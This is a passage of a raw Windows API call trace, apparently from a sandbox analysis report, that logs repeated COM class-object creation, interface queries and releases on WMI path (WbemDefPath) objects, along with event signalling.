WbemDefPath:IUnknown:QueryInterface (in: This=0x37bb38, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6e588 | out: ppvObject=0x5b6e588*=0x5c68618) returned 0x0 [0127.089] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5c68618, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5b6e590 | out: pCid=0x5b6e590*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0127.089] WbemDefPath:IUnknown:Release (This=0x5c68618) returned 0x3 [0127.089] CoGetContextToken (in: pToken=0x5b6e5e8 | out: pToken=0x5b6e5e8) returned 0x0 [0127.090] CoGetContextToken (in: pToken=0x5b6e9fc | out: pToken=0x5b6e9fc) returned 0x0 [0127.090] WbemDefPath:IUnknown:QueryInterface (in: This=0x37bb38, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6ea7c | out: ppvObject=0x5b6ea7c*=0x0) returned 0x80004002 [0127.090] WbemDefPath:IUnknown:Release (This=0x37bb38) returned 0x2 [0127.090] WbemDefPath:IUnknown:Release (This=0x37bb38) returned 0x1 [0127.090] SetEvent (hEvent=0x500) returned 1 [0138.614] CoGetClassObject (in: rclsid=0x3e60d4*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5b6ee78 | out: ppv=0x5b6ee78*=0x5c68888) returned 0x0 [0138.615] WbemDefPath:IUnknown:QueryInterface (in: This=0x5c68888, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5b6f090 | out: ppvObject=0x5b6f090*=0x0) returned 0x80004002 [0138.615] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5c68888, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6f09c | out: ppvObject=0x5b6f09c*=0x37ba58) returned 0x0 [0138.615] WbemDefPath:IUnknown:Release (This=0x5c68888) returned 0x0 [0138.615] WbemDefPath:IUnknown:QueryInterface (in: This=0x37ba58, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6ecbc | out: ppvObject=0x5b6ecbc*=0x37ba58) returned 0x0 [0138.615] WbemDefPath:IUnknown:QueryInterface (in: This=0x37ba58, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5b6ec70 | out: ppvObject=0x5b6ec70*=0x0) returned 0x80004002 [0138.615] WbemDefPath:IUnknown:AddRef (This=0x37ba58) returned 0x3 [0138.615] WbemDefPath:IUnknown:QueryInterface (in: This=0x37ba58, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5b6e5cc | out: ppvObject=0x5b6e5cc*=0x0) returned 0x80004002 [0138.615] WbemDefPath:IUnknown:QueryInterface (in: This=0x37ba58, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5b6e57c | out: ppvObject=0x5b6e57c*=0x0) returned 0x80004002 [0138.615] WbemDefPath:IUnknown:QueryInterface (in: This=0x37ba58, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6e588 | out: ppvObject=0x5b6e588*=0x5c68898) returned 0x0 [0138.616] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5c68898, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5b6e590 | out: pCid=0x5b6e590*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0138.616] WbemDefPath:IUnknown:Release (This=0x5c68898) returned 0x3 [0138.616] CoGetContextToken (in: pToken=0x5b6e5e8 | out: pToken=0x5b6e5e8) returned 0x0 [0138.616] CoGetContextToken (in: pToken=0x5b6e9fc | out: pToken=0x5b6e9fc) returned 0x0 [0138.616] WbemDefPath:IUnknown:QueryInterface (in: This=0x37ba58, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6ea7c | out: ppvObject=0x5b6ea7c*=0x0) returned 0x80004002 [0138.616] WbemDefPath:IUnknown:Release (This=0x37ba58) returned 0x2 [0138.616] WbemDefPath:IUnknown:Release (This=0x37ba58) returned 0x1 [0138.616] SetEvent (hEvent=0x4c4) returned 1 [0138.636] CoGetClassObject (in: rclsid=0x3e60d4*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5b6ee78 | out: ppv=0x5b6ee78*=0x5c68968) returned 0x0 [0138.637] WbemDefPath:IUnknown:QueryInterface (in: This=0x5c68968, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5b6f090 | out: ppvObject=0x5b6f090*=0x0) returned 0x80004002 [0138.637] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5c68968, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6f09c | out: ppvObject=0x5b6f09c*=0x37b908) returned 0x0 [0138.637] WbemDefPath:IUnknown:Release (This=0x5c68968) returned 0x0 [0138.637] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b908, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6ecbc | out: ppvObject=0x5b6ecbc*=0x37b908) returned 0x0 [0138.637] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b908, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5b6ec70 | out: ppvObject=0x5b6ec70*=0x0) returned 0x80004002 [0138.637] WbemDefPath:IUnknown:AddRef (This=0x37b908) returned 0x3 [0138.637] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b908, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5b6e5cc | out: ppvObject=0x5b6e5cc*=0x0) returned 0x80004002 [0138.637] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b908, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5b6e57c | out: ppvObject=0x5b6e57c*=0x0) returned 0x80004002 [0138.637] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b908, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6e588 | out: ppvObject=0x5b6e588*=0x5c68978) returned 0x0 [0138.638] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5c68978, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5b6e590 | out: pCid=0x5b6e590*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0138.638] WbemDefPath:IUnknown:Release (This=0x5c68978) returned 0x3 [0138.638] CoGetContextToken (in: pToken=0x5b6e5e8 | out: pToken=0x5b6e5e8) returned 0x0 [0138.638] CoGetContextToken (in: pToken=0x5b6e9fc | out: pToken=0x5b6e9fc) returned 0x0 [0138.638] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b908, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6ea7c | out: ppvObject=0x5b6ea7c*=0x0) returned 0x80004002 [0138.638] WbemDefPath:IUnknown:Release (This=0x37b908) returned 0x2 [0138.638] WbemDefPath:IUnknown:Release (This=0x37b908) returned 0x1 [0138.638] SetEvent (hEvent=0x458) returned 1 [0138.640] CoGetClassObject (in: rclsid=0x3e60d4*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5b6ee78 | out: ppv=0x5b6ee78*=0x5c68968) returned 0x0 [0138.640] WbemDefPath:IUnknown:QueryInterface (in: This=0x5c68968, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5b6f090 | out: ppvObject=0x5b6f090*=0x0) returned 0x80004002 [0138.640] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5c68968, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6f09c | out: ppvObject=0x5b6f09c*=0x37b898) returned 0x0 [0138.640] WbemDefPath:IUnknown:Release (This=0x5c68968) returned 0x0 [0138.640] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b898, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6ecbc | out: ppvObject=0x5b6ecbc*=0x37b898) returned 0x0 [0138.640] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b898, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5b6ec70 | out: ppvObject=0x5b6ec70*=0x0) returned 0x80004002 [0138.640] WbemDefPath:IUnknown:AddRef (This=0x37b898) returned 0x3 [0138.641] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b898, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5b6e5cc | out: ppvObject=0x5b6e5cc*=0x0) returned 0x80004002 [0138.641] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b898, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5b6e57c | out: ppvObject=0x5b6e57c*=0x0) returned 0x80004002 [0138.641] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b898, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6e588 | out: ppvObject=0x5b6e588*=0x5c68988) returned 0x0 [0138.641] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5c68988, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5b6e590 | out: pCid=0x5b6e590*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0138.641] WbemDefPath:IUnknown:Release (This=0x5c68988) returned 0x3 [0138.641] CoGetContextToken (in: pToken=0x5b6e5e8 | out: pToken=0x5b6e5e8) returned 0x0 [0138.641] CoGetContextToken (in: pToken=0x5b6e9fc | out: pToken=0x5b6e9fc) returned 0x0 [0138.641] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b898, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6ea7c | out: ppvObject=0x5b6ea7c*=0x0) returned 0x80004002 [0138.641] WbemDefPath:IUnknown:Release (This=0x37b898) returned 0x2 [0138.641] WbemDefPath:IUnknown:Release (This=0x37b898) returned 0x1 [0138.641] SetEvent (hEvent=0x468) returned 1 [0138.644] CoGetClassObject (in: rclsid=0x3e60d4*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5b6ee78 | out: ppv=0x5b6ee78*=0x5c68968) returned 0x0 [0138.644] WbemDefPath:IUnknown:QueryInterface (in: This=0x5c68968, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5b6f090 | out: ppvObject=0x5b6f090*=0x0) returned 0x80004002 [0138.644] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5c68968, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6f09c | out: ppvObject=0x5b6f09c*=0x37b828) returned 0x0 [0138.644] WbemDefPath:IUnknown:Release (This=0x5c68968) returned 0x0 [0138.644] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b828, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6ecbc | out: ppvObject=0x5b6ecbc*=0x37b828) returned 0x0 [0138.644] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b828, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5b6ec70 | out: ppvObject=0x5b6ec70*=0x0) returned 0x80004002 [0138.644] WbemDefPath:IUnknown:AddRef (This=0x37b828) returned 0x3 [0138.644] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b828, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5b6e5cc | out: ppvObject=0x5b6e5cc*=0x0) returned 0x80004002 [0138.644] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b828, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5b6e57c | out: ppvObject=0x5b6e57c*=0x0) returned 0x80004002 [0138.645] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b828, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6e588 | out: ppvObject=0x5b6e588*=0x5c68998) returned 0x0 [0138.645] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5c68998, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5b6e590 | out: pCid=0x5b6e590*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0138.645] WbemDefPath:IUnknown:Release (This=0x5c68998) returned 0x3 [0138.645] CoGetContextToken (in: pToken=0x5b6e5e8 | out: pToken=0x5b6e5e8) returned 0x0 [0138.645] CoGetContextToken (in: pToken=0x5b6e9fc | out: pToken=0x5b6e9fc) returned 0x0 [0138.645] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b828, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6ea7c | out: ppvObject=0x5b6ea7c*=0x0) returned 0x80004002 [0138.645] WbemDefPath:IUnknown:Release (This=0x37b828) returned 0x2 [0138.645] WbemDefPath:IUnknown:Release (This=0x37b828) returned 0x1 [0138.645] SetEvent (hEvent=0x500) returned 1 [0140.478] CoGetClassObject (in: rclsid=0x3e60d4*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5b6ee78 | out: ppv=0x5b6ee78*=0x5c68858) returned 0x0 [0140.478] WbemDefPath:IUnknown:QueryInterface (in: This=0x5c68858, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5b6f090 | out: ppvObject=0x5b6f090*=0x0) returned 0x80004002 [0140.478] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5c68858, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6f09c | out: ppvObject=0x5b6f09c*=0x37b7b8) returned 0x0 [0140.478] WbemDefPath:IUnknown:Release (This=0x5c68858) returned 0x0 [0140.478] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b7b8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6ecbc | out: ppvObject=0x5b6ecbc*=0x37b7b8) returned 0x0 [0140.478] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b7b8, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5b6ec70 | out: ppvObject=0x5b6ec70*=0x0) returned 0x80004002 [0140.479] WbemDefPath:IUnknown:AddRef (This=0x37b7b8) returned 0x3 [0140.479] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b7b8, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5b6e5cc | out: ppvObject=0x5b6e5cc*=0x0) returned 0x80004002 [0140.479] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b7b8, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5b6e57c | out: ppvObject=0x5b6e57c*=0x0) returned 0x80004002 [0140.479] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b7b8, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6e588 | out: ppvObject=0x5b6e588*=0x5c68868) returned 0x0 [0140.479] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5c68868, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5b6e590 | out: pCid=0x5b6e590*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0140.479] WbemDefPath:IUnknown:Release (This=0x5c68868) returned 0x3 [0140.479] CoGetContextToken (in: pToken=0x5b6e5e8 | out: pToken=0x5b6e5e8) returned 0x0 [0140.479] CoGetContextToken (in: pToken=0x5b6e9fc | out: pToken=0x5b6e9fc) returned 0x0 [0140.479] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b7b8, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6ea7c | out: ppvObject=0x5b6ea7c*=0x0) returned 0x80004002 [0140.479] WbemDefPath:IUnknown:Release (This=0x37b7b8) returned 0x2 [0140.479] WbemDefPath:IUnknown:Release (This=0x37b7b8) returned 0x1 [0140.479] SetEvent (hEvent=0x4e0) returned 1 [0140.503] CoGetClassObject (in: rclsid=0x3e60d4*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5b6ee78 | out: ppv=0x5b6ee78*=0x5c586b8) returned 0x0 [0140.503] WbemDefPath:IUnknown:QueryInterface (in: This=0x5c586b8, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5b6f090 | out: ppvObject=0x5b6f090*=0x0) returned 0x80004002 [0140.503] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5c586b8, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6f09c | out: ppvObject=0x5b6f09c*=0x37b748) returned 0x0 [0140.503] WbemDefPath:IUnknown:Release (This=0x5c586b8) returned 0x0 [0140.503] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b748, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6ecbc | out: ppvObject=0x5b6ecbc*=0x37b748) returned 0x0 [0140.503] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b748, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5b6ec70 | out: ppvObject=0x5b6ec70*=0x0) returned 0x80004002 [0140.504] WbemDefPath:IUnknown:AddRef (This=0x37b748) returned 0x3 [0140.504] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b748, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, 